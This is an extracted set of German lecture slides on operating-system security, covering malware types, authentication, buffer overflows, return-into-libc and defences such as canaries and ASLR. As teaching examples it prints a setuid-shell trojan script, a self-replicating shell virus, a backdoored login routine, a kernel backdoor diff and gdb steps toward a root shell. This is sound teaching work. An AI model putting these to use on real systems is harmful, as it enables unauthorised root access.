6 Folien/Seite

Transcription

6 Folien/Seite
Überblick
Vorlesung Betriebssysteme II
Thema 7: Betriebssysteme-Sicherheit
I
Grundbegriffe
I
Bösartige Software
I
Authentifizierungsmechanismen
Angriffstechniken:
I
Robert Baumgartl
I
I
I
18. Mai 2015
I
Buffer Overflow
Return-into-Libc
Format String Exploit
Angriffscode (Shellcode)
1 / 109
2 / 109
Grundbegriffe
Grundbegriffe
Ziele der Systemsicherheit
Bedrohungen
Vier Kategorien:
Quelle
Ziel
Bedrohung
Vertraulichkeit
Ausspionieren der Daten
Datenintegrität
Datenmanipulation
Systemverfügbarkeit
Denial of Service
Quelle
Ziel
Abfangen der Information
Tabelle: Sicherheitsziele und deren Bedrohungen
Quelle
eng verwandt:
I
Ziel
Quelle
Ziel
Unterbrechung
ungestörter Informationsfluß
Quelle
Modifizieren der Information
Interruption:
z. B. Denial-of-Service,
I
Interception: Angriff auf
Vertraulichkeit
I
Modification: Angriff auf
Integrität,
z. B. Man-in-the-Middle
Attack
I
Fabrication (Forging):
z. B. Einfügen gefälschter
Objekte in System
Ziel
Fälschen der Information
Abbildung: Szenarien
Datenschutz – Verhinderung des Missbrauchs
personenbezogener Daten
Ziel
I
3 / 109
4 / 109
Überblick
Logische Bomben
Bösartige Software
Wirtsprogramm nötig
Idee: Implantierung „bösartigen“ Codes in Applikationen (oder
in das BS), Aktivierung des Codes, sobald eine bestimmte
Aktivierungsbedingung erfüllt
unabhängig
I
Aktivierungsbedingung Eintritt eines Datums → (logische)
„Zeitbombe“ (Kalender von Aktivierungsdaten:
http://vil.nai.com/vil/calendar /virus_calendar.aspx)
I
meist simples Löschen von Daten
I
häufig eingesetzt, um „Rache“ für Entlassung o. ä. zu üben
Hintertüren
Logische Bomben
Viren
Würmer
Trojanische Pferde
verbreiten sich selbständig
Abbildung: Mögliche Kategorisierung bösartiger Software
I
I
lokale vs. entfernte Angriffe
on-line- vs. off-line-Angriffe
5 / 109
6 / 109
1
Ausschnitt aus dem McAfee-Aktivierungskalender
Hintertüren (Back Doors)
Idee: Einbau (nichtdokumentierter) Schnittstellen in Software
zwecks späterem (unautorisiertem) Zugriff auf das System.
12. Mai W97M/Alamat, W97M/Yous, VBS/Horty.b@MM,
VBS/Horty.a@MM, WM/Alliance.A, WM/Envader.A
(Intended), WM/Eraser.A:Tw, VBS/Aqui
13. Mai VBS/Aqui, VBS/Zync, WM/Eraser.A:Tw, VBS/Alphae,
WM/Envader.A (Intended), Twno.A, WM/BOOM.A;B,
WM/BADBOY.A;B;C, WM/FRIDAY.D, WM/FRIDAY.A,
WM/Goldsecret.B:Int,WM/CVCK1.B;E,
W97M/Rapmak.a, W97M/Yous, W97M/Alamat,
WM/SHOWOFF.G, W97M/BackHand.A, W97M/Idea.A,
W97M/Digma
14. Mai X97M/Jal.a, VBS/San@M, W97M/Este, W97M/Alamat,
W32/SoftSix.worm, W97M/Yous, VBS/Valentin@MM,
WM/PHARDERA.C ;D (INTENDED), W97M/Class.B,
W97M/Class.D, W97M/Ekiam, WM/Eraser.A:Tw,
VBS/Aqui
15. Mai . . .
I
Mißbrauch von geheimen Debugging-Schnittstellen
I
schwierig von BS-Seite aus zu erkennen
I
häufiges Relikt aus der Produktentwicklung
I
Behörden sind häufig der Meinung, ein Anrecht auf
Hintertüren zu haben
I
Gegenmaßnahme: Code Reviews, Open Source
I
symmetrische vs. asymmetrische Hintertüren
I
viele Würmer installieren Back Doors
I
Klassiker: Back Orifice
(http://www.cultdeadcow.com/tools/bo.php)
I
feste Master-BIOS-Passworte, z. B. lkwpeter bei Award
BIOS
7 / 109
8 / 109
Beispiel einer Hintertür
Beispiel 2 (Backdoor im Linux-Kern; nice try)
Beispiel: Login-Code mit Hintertür1
From: Larry McVoy [email blocked]
Subject: Re: BK2CVS problem
Date: Wed, 5 Nov 2003 14:23:02 -0800
while (TRUE) {
printf("login: ");
get_string(name);
disable_echoing();
printf("password: ");
get_string(password);
enable_echoing();
v = check_validity(name, password);
if (v || strcmp(name, "zzzzz") == 0)
break;
}
execute_shell(name);
On Wed, Nov 05, 2003 at 12:58:13PM -0800, Matthew Dharm wrote:
> Out of curiosity, what were the changed lines?
--- GOOD
2003-11-05 13:46:44.000000000 -0800
+++ BAD 2003-11-05 13:46:53.000000000 -0800
@@ -1111,6 +1111,8 @@
schedule();
goto repeat;
}
+
if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
+
retval = -EINVAL;
retval = -ECHILD;
end_wait4:
current->state = TASK_RUNNING;
--Larry McVoy
1
Andrew S. Tanenbaum. Modern Operating Systems. 2. Aufl.
Prentice-Hall, 2001, S. 610.
lm at bitmover.com
9 / 109
10 / 109
Beispiel 2 (Backdoor im Linux-Kern; nice try)
I
jemand modifizierte die Kernelquellen (unautorisiert)
I
fraglicher Code gehört zu sys_wait4(), d. h. dem
Systemruf wait4()
I
„verkleideter Code“; current->uid = 0 sieht so ähnlich
aus wie current->uid == 0
I
wenn jemand wait4() aufruft und die Optionen
__WCLONE und __WALL sind gesetzt, so wird der Rufende
root
I
Code wurde beim Review entdeckt (“It’s not a big deal, we
catch stuff like this, but it’s annoying to the CVS users.”)
Trojanische Pferde („Trojaner“)
Idee: dem Nutzer ein Programm unterschieben, welches bei
Aktivierung unerlaubte Aktionen ausführt
I
anstelle eines Eindringlings führt ein autorisierter Nutzer
Schadcode aus
I
Beispiel: gefälschter Login-Bildschirm
I
Klassiker: Compiler, der unbemerkt bösartigen Code in
übersetzte Programme einbaut2
I
vgl. „Bundestrojaner“
2
Ken Thompson. “Reflections on Trusting Trust”. In: Communications of
the ACM 27.4 (Aug. 1984), S. 761–763.
11 / 109
12 / 109
2
Beispiel eines simplen UNIX-Trojaners
Beispiel eines simplen UNIX-Trojaners
(ls benennen und im Pfad eines Nutzers unterbringen)
(ls benennen und im Pfad eines Nutzers unterbringen)
#!/bin/sh
cp /bin/sh /tmp/.xxsh
chmod u+s,o+x /tmp/.xxsh
rm ./ls
ls $*
#!/bin/sh
cp /bin/sh /tmp/.xxsh
chmod u+s,o+x /tmp/.xxsh
rm ./ls
ls $*
I
kopiert und versteckt Shell
I
kopiert und versteckt Shell
I
setzt das SetUID-Bit und macht die Shell für alle
ausführbar
I
setzt das SetUID-Bit und macht die Shell für alle
ausführbar
I
→ läuft mit den Rechten des Eigentümers, anstatt mit
denen des Aufrufenden
I
→ läuft mit den Rechten des Eigentümers, anstatt mit
denen des Aufrufenden
I
Zugriff auf Daten des Angegriffenen
I
Zugriff auf Daten des Angegriffenen
13 / 109
14 / 109
Beispiel eines simplen UNIX-Trojaners
Beispiel eines simplen UNIX-Trojaners
(ls benennen und im Pfad eines Nutzers unterbringen)
(ls benennen und im Pfad eines Nutzers unterbringen)
#!/bin/sh
cp /bin/sh /tmp/.xxsh
chmod u+s,o+x /tmp/.xxsh
rm ./ls
ls $*
#!/bin/sh
cp /bin/sh /tmp/.xxsh
chmod u+s,o+x /tmp/.xxsh
rm ./ls
ls $*
I
kopiert und versteckt Shell
I
kopiert und versteckt Shell
I
setzt das SetUID-Bit und macht die Shell für alle
ausführbar
I
setzt das SetUID-Bit und macht die Shell für alle
ausführbar
I
→ läuft mit den Rechten des Eigentümers, anstatt mit
denen des Aufrufenden
I
→ läuft mit den Rechten des Eigentümers, anstatt mit
denen des Aufrufenden
I
Zugriff auf Daten des Angegriffenen
I
Zugriff auf Daten des Angegriffenen
15 / 109
16 / 109
Beispiel eines simplen UNIX-Trojaners
(Computer)-Viren
(ls benennen und im Pfad eines Nutzers unterbringen)
#!/bin/sh
cp /bin/sh /tmp/.xxsh
chmod u+s,o+x /tmp/.xxsh
rm ./ls
ls $*
I
kopiert und versteckt Shell
I
setzt das SetUID-Bit und macht die Shell für alle
ausführbar
I
→ läuft mit den Rechten des Eigentümers, anstatt mit
denen des Aufrufenden
I
Zugriff auf Daten des Angegriffenen
“A virus is a program that is able to infect other
programs by modifying them to include a possibly
evolved copy of itself.” (Fred Cohen)
einige Varianten:
17 / 109
I
Stealth-Viren
I
polymorphe Viren
I
Bootsektor-Viren
I
Macro-Viren
18 / 109
3
Beispiel für viralen (virulenten?) Code
Beispiel für viralen (virulenten?) Code
for i in *.sh; do
if test "./$i" != "$0"; then
tail -n 5 $0 | cat >> $i;
fi
done
for i in *.sh; do
if test "./$i" != "$0"; then
tail -n 5 $0 | cat >> $i;
fi
done
Analyse:
Analyse:
I
beschränkt auf eigenes Verzeichnis
I
beschränkt auf eigenes Verzeichnis
I
mehrfache Infektion wahrscheinlich
I
mehrfache Infektion wahrscheinlich
I
kein Payload
I
kein Payload
I
leicht zu analysieren ;-)
I
leicht zu analysieren ;-)
20 / 109
19 / 109
Beispiel für viralen (virulenten?) Code
Beispiel für viralen (virulenten?) Code
for i in *.sh; do
if test "./$i" != "$0"; then
tail -n 5 $0 | cat >> $i;
fi
done
for i in *.sh; do
if test "./$i" != "$0"; then
tail -n 5 $0 | cat >> $i;
fi
done
Analyse:
Analyse:
I
beschränkt auf eigenes Verzeichnis
I
beschränkt auf eigenes Verzeichnis
I
mehrfache Infektion wahrscheinlich
I
mehrfache Infektion wahrscheinlich
I
kein Payload
I
kein Payload
I
leicht zu analysieren ;-)
I
leicht zu analysieren ;-)
22 / 109
21 / 109
Beispiel für viralen (virulenten?) Code
Ein (etwas) besserer Virus
for i in *.sh; do
if test "./$i" != "$0"; then
tail -n 5 $0 | cat >> $i;
fi
done
for i in *.sh; do
if test "./$i" != "$0"; then
HOST=$(echo -n $(tail -10 $i))
VIR=$(echo -n $(tail -10 $0))
if [ "$HOST" != "$VIR" ]
then
tail -n 10 $0 | cat >> $i;
fi
fi
done
Analyse:
I
beschränkt auf eigenes Verzeichnis
I
mehrfache Infektion wahrscheinlich
I
kein Payload
I
leicht zu analysieren ;-)
23 / 109
24 / 109
4
Würmer
Komponenten eines Wurms
1. Aufklärung neuer Hosts als potentielle Angriffsziele
“An independently replicating and autonomous
infection agent, capable of seeking out new host
systems and infecting them via the network.”
(Jose Nazario. Defence and Detection Strategies
against Internet Worms. Artech House, 2004)
I
I
I
2. Angriffscode
I
Bekannte Vertreter:
I
W32.Blaster
I
Melissa
I
Mydoom
I
Sasser
I
Conficker
IP-Adreßräume (partiell) durchsuchen
lokale Suche in (z. B.) Konfigurationsdateien
OS Fingerprinting, um BS-Typ und -Version zu ermitteln
I
I
Remote Exploit bekannter Schwachstellen
Trojanisches Pferd (z.B. Mail mit attached Binary)
benötigt für jede anzugreifende Plattform Exploit
3. Kommunikation
I
I
I
z. B. mittels ICMP, UDP, . . . , E-Mail
über verdeckte Kanäle
Verbergen beteiligter Prozesse und Sockets mittels
Kernelmodul oder durch Störung von
Überwachungssoftware
25 / 109
26 / 109
Komponenten eines Wurms
Rootkits
Def. Ein Rootkit ist ein (üblicherweise unerwünschtes)
Programm, das sich nach Installation vor dem Nutzer verbirgt.
Merkmale:
I Installation typischerweise nach erfolgreichem Einbruch,
um Einbruchszweck abzusichern, z. B.:
4. Kommandoschnittstelle
I
I
interaktiv oder indirekt (script-gesteuert)
typische Kommandos: Up-/Download von Dateien,
Flut-Ping, Generierung von HTTP-Requests, . . .
I
I
5. Verwaltung der erfolgreich angegriffenen Hosts
I
I
I
I
verteilte oder zentralisierte Datenbank
Liste aller befallenen Rechner
in privatem IRC-Channel
dauerhafte Unterwanderung des Systems
Diebstahl von Passwortdaten per Keylogger oder Sniffer
verschafft sich keine root-Privilegien, sondern benötigt
diese bei Installation
Eintrittsvektoren:
I
versehentliches Ausführen
I
physischer Zugriff des Angreifers auf System
I
Einbruch via Netzwerk
27 / 109
28 / 109
Rootkits
Rootkits
dateibasierte vs. kernelbasierte Rootkits
Gegenmaßnahmen
1. dateibasierte Rootkits
I
tauschen Werkzeuge aus, die zur Detektion des Rootkits
genutzt werde könnten (ssh, ps, ls, netstat)
I
Unterart: Library Rootkits: tauschen die entsprechenden
Systembibliotheken aus
I
laufen im User Mode
1. Unrechtmäßigen root-Zugriff verhindern
2. Unrechtmäßigen root-Zugriff verhindern (again!)
3. Deaktivierung des Modulmechanismus (→ alle Treiber
statisch in den Kernel kompiliern)
4. Vergleich nach außen geöffnete Ports (netstat) mit
externem Portscan (nmap) → Achtung, „Hackertool“!
2. kernelbasierte Rootkits
I
modifizieren (Überraschung!) den Kernel z. B. über
Modulmechanismus oder Speicherabbild (/dev/kmem)
I
äußerst schwierig zu detektieren
5. Suche nach charakteristischen Zeichenketten im
Hauptspeicher (Werkzeug chkrootkit)
6. Boot von sauberem Datenträger (Live-CD) und Suche
nach „verdächtigen“ Dateien
29 / 109
30 / 109
5
Authentifizierung
Mögliche Angriffe auf den Vorgang der
Authentifizierung
= Identifizierung von Nutzern durch einen Host-Rechner
I
Eingabe eines Passwortes bei der Anmeldung
I
Prüfung des eingegebenen Passwortes durch Host
I
Host muß das Passwort nicht kennen (→ kein Diebstahl
z. B. durch Administrator möglich)
I
Stattdessen: Nutzung von Einwegfunktionen
Protokoll:
1. Nutzer übermittelt dem Host Passwort
I
Ausspähen des Passwortes
I
Social Engineering
I
Erraten des Passwortes
I
Wörterbuchangriff
I
Brute Force
2. Der Host wendet eine Einwegfunktion auf das Passwort an.
3. Der Host vergleicht das Ergebnis mit dem Wert, der beim
Anlegen des Zugangs gespeichert wurde.
32 / 109
31 / 109
Erraten des Passwortes
mein eigener PC (idir) /var/log/auth.log, Ausschnitt
Ein legendärer Einbruch im Lawrence Berkeley Laboratory
(Clifford Stoll. Kuckucksei. Fischer, 1989):
Apr 5 14:44:35 idir sshd[14612]:
.99.106.4 port 40799 ssh2
Apr 5 14:44:39 idir sshd[14620]:
42116 ssh2
Apr 5 14:44:43 idir sshd[14630]:
43885 ssh2
Apr 5 14:44:44 idir sshd[14640]:
Apr 5 14:44:46 idir sshd[14640]:
99.106.4 port 45676 ssh2
Apr 5 14:44:47 idir sshd[14648]:
Apr 5 14:44:49 idir sshd[14648]:
99.106.4 port 47395 ssh2
Apr 5 14:44:51 idir sshd[14656]:
Apr 5 14:44:53 idir sshd[14656]:
m 93.99.106.4 port 48814 ssh2
Apr 5 14:44:54 idir sshd[14666]:
Apr 5 14:44:56 idir sshd[14666]:
99.106.4 port 50581 ssh2
Apr 5 14:44:58 idir sshd[14674]:
Apr 5 14:45:00 idir sshd[14674]:
93.99.106.4 port 51972 ssh2
Apr 5 14:45:01 idir sshd[14684]:
Apr 5 14:45:03 idir sshd[14684]:
93.99.106.4 port 53530 ssh2
Apr 5 14:45:05 idir sshd[14692]:
Apr 5 14:45:07 idir sshd[14692]:
99.106.4 port 55065 ssh2
Apr 5 14:45:10 idir sshd[14702]:
56829 ssh2
Apr 5 14:45:11 idir sshd[14710]:
Apr 5 14:45:13 idir sshd[14710]:
.99.106.4 port 60192 ssh2
Apr 5 14:45:15 idir sshd[14718]:
Apr 5 14:45:17 idir sshd[14718]:
99.106.4 port 33440 ssh2
Apr 5 14:45:21 idir sshd[14728]:
35208 ssh2
Apr 5 14:45:24 idir sshd[14736]:
36679 ssh2
Apr 5 14:45:27 idir sshd[14746]:
38334 ssh2
Apr 5 14:45:31 idir sshd[14754]:
39667 ssh2
Apr 5 14:45:32 idir sshd[14762]:
Apr 5 14:45:34 idir sshd[14762]:
.99.106.4 port 41516 ssh2
Apr 5 14:45:35 idir sshd[14770]:
Apr 5 14:45:37 idir sshd[14770]:
3.99.106.4
port 42957 ssh2
I
Apr 5 14:45:39 idir sshd[14780]:
LBL> telnet elxsi
Elxsi at LBL
login: root
password: root
incorrect passwort, try again
login: guest
password: guest
incorrect passwort, try again
login: uucp
password: uucp
WELCOME TO THE ELXSI COMPUTER AT LBL
I
bei gut gewarteten Systemen heute nahezu aussichtslos
33 / 109
Wörterbuchangriff (Dictionary Attack)
I
I
potentielles Passwort
potentielles Passwort, verschlüsselt
Diebstahl der Passwortdatei
I
Vergleich der verschlüsselten Wortliste mit den Hashes
aus der Passwortdatei
I
Bei Übereinstimmung ist das unverschlüsselte Passwort
der entsprechende Eintrag aus der Wortliste
Failed password for root from 93.99.106.4 port
Invalid user test from 93.99.106.4
Failed password for invalid user test from 93.
Invalid user test from 93.99.106.4
Failed password for invalid user test from 93.
Invalid user webmaster from 93.99.106.4
Failed password for invalid user webmaster fro
Invalid user user from 93.99.106.4
Failed password for invalid user user from 93.
Invalid user username from 93.99.106.4
Failed password for invalid user username from
Invalid user username from 93.99.106.4
Failed password for invalid user username from
Invalid user user from 93.99.106.4
Failed password for invalid user user from 93.
Failed password for root from 93.99.106.4 port
Invalid user admin from 93.99.106.4
Failed password for invalid user admin from 93
Invalid user test from 93.99.106.4
Failed password for invalid user test from 93.
34 / 109
Failed password for root from 93.99.106.4 port
Failed password for root from 93.99.106.4 port
Failed password for root from 93.99.106.4 port
Invalid user danny from 93.99.106.4
Failed password for invalid user danny from 93
Invalid user sharon from 93.99.106.4
Failed password for invalid user sharon from 9
Passwort wird vor Verschlüsselung
mit einer Zufallszahl
Invalid user aron from 93.99.106.4
konkateniert (dem Salz)
alle möglichen Worte, Namen, Bezeichner usw. mittels der
Einwegfunktion des Betriebssystems verschlüsseln
I
Failed password for root from 93.99.106.4 port
Failed password for root from 93.99.106.4 port
Erschwerung des Wörterbuchangriffes
mittels Salz
Idee:
I Offline-Generierung einer Liste aus Einträgen mit
I
Failed password for invalid user admin from 93
usw.
I
Salz wird mit in der (geheimen) Passwortdatei gespeichert
I
bei genügend großer Anzahl möglicher Hash-Werte wird
ein Wörterbuchangriff unmöglich
I
Mallory müßte zu jedem Wort alle möglichen Salz-Werte
durchprobieren
→ Werkzeug john, the Password Cracker
35 / 109
36 / 109
6
Beispiel: Bibliotheksfunktion crypt()
Weitere Gegenmaßnahmen gegen Wörterbuchangriff
char *crypt(const char *key, const char *salt);
„crypt() is the password encryption function. It is
based on the Data Encryption Standard algorithm with
variations intended (among other things) to discourage
use of hardware implementations of a key search.“
I
key zeigt auf die (unverschlüsselte) Passphrase
I
salt ist Zeiger auf Salz (zweibuchstabige Zeichenkette)
I
Resultat: DES-verschlüsselter Passworthash
I
moderne Implementierungen bieten bessere
Hashverfahren (z. B. SHA-512)
I
möglichst keine Hinweise auf Länge des PW (’*’ u. ä.) in
der Eingabemaske
I
möglichst kein Hinweis, ob NKZ gültig oder nicht
I
Verzögerung nach jedem erfolglosen Anmeldeversuch
periodisches Erneuern der Passworte:
I
+ gecrackte PW werden automatisch ausgetauscht
− nachteilig, daß Nutzer ständig neue PW lernen müssen
37 / 109
38 / 109
Challenge-Response zur Authentifizierung
Beispiel: Authentifizierung in Windows
Ablauf:
1. Alice schickt Bob (dem Host) ihr Nutzerkennzeichen
I
Authentifizierungsprotokoll NTLM - NT Lan Manager
I
zum großen Teil reverse-engineered
I
liegt mittlerweile offen
Grobablauf:
2. Bob sendet eine Zufallszahl („Nonce“ - (random) number,
used once) an Alice ≡ Challenge
1. Client (Nutzer) schickt eine sog. Type-1-Nachricht an den
Server, die verschiedene Parameter der Authentifizierung
festlegt
3. Alice verschlüsselt die Nonce mit ihrem Passwort und
schickt das Chiffrat an Bob ≡ Response
2. Server (Host) antwortet mit einer Type-2-Nachricht, die
u. a. eine 8 Byte lange Nonce enthält
3. Client verschlüsselt die Nonce mit seinem Passwort als
Schlüssel, schickt Chiffrat als Type-3-Nachricht an Server
4. Bob verschlüsselt die Nonce ebenfalls mit Alice’ Passwort
(d. h., Bob muss Alice’ Passwort kennen)
5. ist das Chiffrat gleich der Antwort von Alice, so wird
Zugang gewährt
I
I
konkretes Verfahren hängt von den zuvor ausgehandelten
Parametern ab
es wird MD4, MD5 und DES eingesetzt
Literatur: http://davenport.sourceforge.net/ntlm.html
39 / 109
40 / 109
Sicherheit von NTLM
Stellen
6
6
8
8
8
11
Zeichenraum
A-Za-z0-9
A-Za-z0-9, 22 SZ
A-Za-z0-9
A-Za-z0-9, 22 SZ
A-Za-z0-9, alle SZ
A-Za-z
Authentifizierung mit physischen Objekten
Dauer
1 min
6 min
2 d, 17 h
33 d
82 d
270 a
I
I
Schlüssel
Chipkarten
I
I
passiv – “Stored Value Cards”, z.B. Telefonkarten
aktiv – “Smart Cards”, ausgerüstet mit 8-Bit-CPU, Scratch
RAM, ROM, EEPROM
Server
PC
1. Challenge an Smart Card
Tabelle: Maximale Dauer der Ermittlung von NTLM-Passworten
mittels „Distributed Password Recovery“ (ElcomSoft)
22 SZ = typische Sonderzeichen, d.h.
_@#$&+-=%*"~!?.,:;()<>
I genutztes System: AMD Athlon X2 4850e, 2 Nvidia
GeForce 9800 GTX
(Stefan Arbeiter und Matthias Deeg. “Bunte Rechenknechte”.
In: c’t 6 (2009), S. 204–206)
I
3. Response an Server
Smart
Card
2. Smart Card errechnet Antwort
Abbildung: Nutzung einer Smartcard zur Authentifizierung
41 / 109
42 / 109
7
Buffer Overflow
(Sehr einfaches) verwundbares Programm
# i n c l u d e < s t d i o . h>
i n t main ( i n t argc , char ∗ argv [ ] )
{
char b u f f e r [ 5 1 2 ] ;
i f ( argc > 1 ) {
s t r c p y ( b u f f e r , argv [ 1 ] ) ;
}
return 0;
}
Angriffstechniken
44 / 109
Buffer Overflow
Stack Overflow
Prinzip
Ausschnitt des Stacks
I
hohe Adressen
bestimmte Funktionen der C-Bibliothek führen keine
Längenprüfung ihrer Argumente aus (Klassiker:
strcpy())
Funktionsparameter
Idee: lokale Variablen (über deren Länge hinaus) mit einer
solchen Funktion überfluten (Stack Overflow)
I
Überschreiben der Rückkehradresse auf dem Stack mit
Adresse einer Schadroutine
I
bei Verlassen der aktuellen Funktion → Sprung zur
Schadroutine
I
Ursache: mögliches Verlassen von Feldgrenzen in C,
ungeprüfte Länge der Argumente von
Bibliotheksfunktionen wie strcpy() oder gets(),
gezielte Manipulation von Zeigervariablen
<Ret>
SFP
lokale Variablen
Puffer
niedrige
Adressen
...
I
...
43 / 109
46 / 109
Stack Overflow
Ausschnitt des Stacks
Ausschnitt des Stacks
Funktionsparameter
Funktionsparameter
<Ret>
<Ret>
SFP
lokale Variablen
SFP
lokale Variablen
Puffer
Puffer
niedrige
Adressen
47 / 109
...
niedrige
Adressen
hohe Adressen
...
hohe Adressen
...
Stack Overflow
...
45 / 109
48 / 109
8
Ausschnitt des Stacks
hohe Adressen
...
Stack Overflow
Ausschnitt des Stacks
...
Stack Overflow
hohe Adressen
<Ret>
<Ret>
SFP
lokale Variablen
SFP
lokale Variablen
Puffer
Puffer
niedrige
Adressen
niedrige
Adressen
...
Funktionsparameter
...
Funktionsparameter
50 / 109
Buffer Overflow
Einfache Gegenmaßnahmen
Stackguard
Idee: Schutz der Rücksprungadresse durch zusätzliches Canary Word.
I
Verzicht auf unsichere Funktionen, u.a. strcpy(),
strcat(), sprintf(), vsprintf(), gets() bzw.
Nutzung der Pendants mit Bereichsprüfung, aber:
I
Semantik nicht übereinstimmend (z. B. nullterminiert
strncpy() das Ziel nicht bei maximal langem String)
Geschwindigkeitsnachteile
Legacy Code?
I
Overflow überschreibt
Canary
I
beim Rücksprung aus
Funktion wird Canary
auf Integrität getestet
I
I
I
I
hohe Adressen
Funktionsparameter
Canary Word wird im
Funktionsprolog
angelegt
<Ret>
Canary
SFP
lokale Variablen
Puffer
niedrige
Adressen
...
Buffer Overflow
...
49 / 109
Abbruch, wenn falscher
Wert
51 / 109
52 / 109
Buffer Overflow
Stackguard
Wahl des Canary Word
Grenzen des Konzepts
I
Terminator Canary – Werte nutzen, die typische
Zeichenkettenfunktionen terminieren
Wert
Symbol
0x00
0x0a
0x0d
-1
LF
CR
EOF
Semantik
stoppt strcpy()
stoppt gets()
stoppt gets()
Tabelle: Terminator Canary
I
moderate Leistungseinbuße
I
Lokale Variablen und Saved Frame Pointer nicht geschützt
I
Canary Word u. U. durch Angreifer restaurierbar, wenn
statisch
I
vgl. „Bulba“ and „Kil3r“. “Bypassing Stackguard and
Stackshield”. In: Phrack 10.56 (Jan. 2000). URL: http:
//www.phrack.org/issues/56/5.html#article
optimal ist z. B. 0x000d0aff
I
Random Canary – erst zum Programmstart generiert;
Angreifer kann darauf nicht mehr reagieren (Angreifer läuft
parallel zum angegriffenen Programm)
53 / 109
54 / 109
9
StackShield
Ausführungsverbot beschreibbarer Seiten (W⊕X )
Einfachster Fall: Architektur unterstützt Execute-Recht im
Seitentabelleneintrag (Beispiele: Sparc, PPC, IA64)
Problem: IA32 tut dies nicht.
Lösung 1: NX („No-Execute“) aka „Enhanced Virus Protection“
Idee:
1. Rücksprungadresse im Prolog in eine extra Tabelle
kopieren
I
erfordert Physical/Page Address Extension (PAE) –
existiert eigentlich ab Pentium Pro
2. im Epilog Kopie der Rücksprungadresse wieder an
entsprechende Position im Stack schreiben
I
NX jedoch erst ab Prescott-Kern (Intel), AMD64
I
Seitentabelleneintrag 64 Bit (anstatt 32)
3. keine Prüfung auf Identität
I
Seiten, Seitentabellen und Seitentabellenverzeichnis 4 KiB
I
nur noch 1/4 der Einträge → drittes Hierarchielevel
(vgl. folgende Grafik)
I
gegenwärtig: 36-Bit-Adressen (maximal: 52 Bit)
I
Bit 63 ist das (No)-Execute-Bit
55 / 109
56 / 109
Adressumsetzung bei PAE
Ausführungsverbot beschreibbarer Seiten (W⊕X ) II
Lösung 2: Emulation in Software
31−30 29...21
PTR
Dir
20...12
Table
11...0
Offset
lineare
Adresse
CR3
PageDirPt3
PageDirPt4
gewähltes Byte
PD−Eintrag
alle PTEs der zu schützenden Bereiche (Stack, Heap,
Daten) haben initial Supervisor-Bit gesetzt
I
→ Pagefault bei Zugriff
Handler:
I
PageDirPt1
PageDirPt2
I
gewählte
Seite
I
PTE
Page Directory
Pointer Table
Page Directory
512 Einträge
I
Page Tables
512 Einträge
NX−Bit (63)
physischer Adreßraum
bei Instruction Fetch → Abbruch der Task, Logging des
Angriffs
bei Datenzugriff: Rücksetzen des SV-Bits, Zugriff ausführen
(Überführung der Übersetzung in Data-TLB), Setzen des
SV-Bits
I
weitere Datenzugriffe durch DTLB gecacht
I
nur möglich, wenn getrennte Daten- und Code-TLBs
57 / 109
58 / 109
Ausführungsverbot beschreibbarer Seiten
Address Space Layout Randomization (ASLR)
Beobachtung: Distanz zwischen Top-of-Stack (TOS) und
anzugreifender Rücksprungadresse ist konstant, wird offline
(werkzeuggestützt) erraten und in Exploit eingebaut.
Einbau in Betriebssysteme:
I
Linux ab 2.6.8
I
Windows XP ab SP2; kein Backport nach Windows 2000
I
PaX-System, vgl. http://pax.grsecurity.net
Idee: Anfangsadressen von Stack, Heap und Code werden
zufällig zur Ladezeit generiert.
Problem: eingeblendete shared Libraries – müssen auch
zufällig verteilt werden
$ cat /proc/self/maps | grep libc
I
59 / 109
erschwert auch return-into-libc-Exploits
60 / 109
10
Return-into-Libc
Stacklayout bei Return-into-Libc
Argumente der (angegriffenen) Funktion
originaler Stack:
Manipulation einer Rückkehradresse auf dem Stack mittels
Buffer Overflow
I
jedoch („Rück“-)Sprung in eine Shared Library (libc)
anstatt zu eigenem Shellcode (Abb. nächste Folie)
I
I
I
Low
lokale Variablen
sfp
RET
arg0 arg1 arg2
High
Rückkehradresse aus libc−Ruf
manipulierter Stack:
Beispiel: system("/bin/sh");
(führt /bin/sh -c /bin/sh aus)
Argument 0 des libc−Rufes
Überflutung
sfp
wenn angegriffenes Programm setuid root ist, wird damit
eine root-Shell geöffnet
Adr
in
libc
dummy
I
arg0
"/bin/sh"
system()
{
...
macht nichtausführbaren Stack wirkungslos
Code in der libc
}
62 / 109
61 / 109
Anmerkungen
I
dummy-Feld ist „Rückkehradresse“, die angesprungen
wird, wenn system() verlassen wird
I
irrelevant, wenn interaktive Shell gestartet wurde, da diese
nicht zurückkehrt
Bestimmung der Einsprungadresse (statisch)
robge@hadrian$ cat dummy.c
int main()
{
system();
}
robge@hadrian$ gcc -o dummy dummy.c
robge@hadrian$ gdb -q dummy
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.s
(gdb) break main
Breakpoint 1 at 0x8048362
(gdb) run
Starting program: /home/local/robge/src/cracking/dummy
Breakpoint 1, 0x08048362 in main ()
(gdb) print system
$1 = {<text variable, no debug info>} 0xb7ed8990 <system>
Gegenmittel: Address Space Layout Randomization,
Parameterübergabe in Registern (ELF64-SystemV ABI bei
x86-64)
63 / 109
64 / 109
Dynamische Ermittlung der Einsprungadresse
Verkettung zweier libc-Rufe
Argumente der (angegriffenen) Funktion
originaler Stack:
Idee:
I
Sohn erzeugen, der kontinuierlich system("") aufruft
I
Instruction Pointer springt zwischen main() und
system() (libc-Funktion)
I
mittels ptrace() kann die genaue Adresse von
system() bestimmt werden
Low
lokale Variablen
sfp
RET
arg0 arg1 arg2
High
"dummy"
manipulierter Stack:
Überflutung
sfp
Adr1
in
libc
Adr2
in
libc
arg0
arg0
für
für
setuid system
"/bin/sh"
... Code ansehen . . .
setuid()
{
...
}
65 / 109
=0x01010101 o.ä.
system()
{
...
}
66 / 109
11
Verkettung zweier libc-Rufe
Return-into-Libc-Angriff
Weitere Techniken
Reihenfolge setuid() → system()
I
I
setuid(0) leider unmöglich, da Pufferüberlauf damit
vorzeitig abbrechen würde
I
I
nur möglich, wenn erster libc-Aufruf genau ein Argument
übernimmt (dummy-Lücke)
I
weitere Rufe nicht möglich
mehr als 2 libc-Aufrufe mit beliebig vielen Argumenten (!!)
I
I
I
Frame Pointer Lifting
Frame Faking
Nullbytes im angegriffenen Puffer ebenfalls möglich
Literatur: “Nergal”. “The advanced return-into-lib(c) exploits:
PaX case study”. In: Phrack 11.58 (Dez. 2001). URL:
http://www.phrack.org/issues/58/4.html#article
68 / 109
67 / 109
Wie funktioniert eigentlich printf()?
int printf(const char *format, ...);
Format String Exploits
I
zeichenweises Kopieren des Format-Strings nach stdout
I
%-Platzhalter wird durch TOS (Top of Stack) ersetzt, das
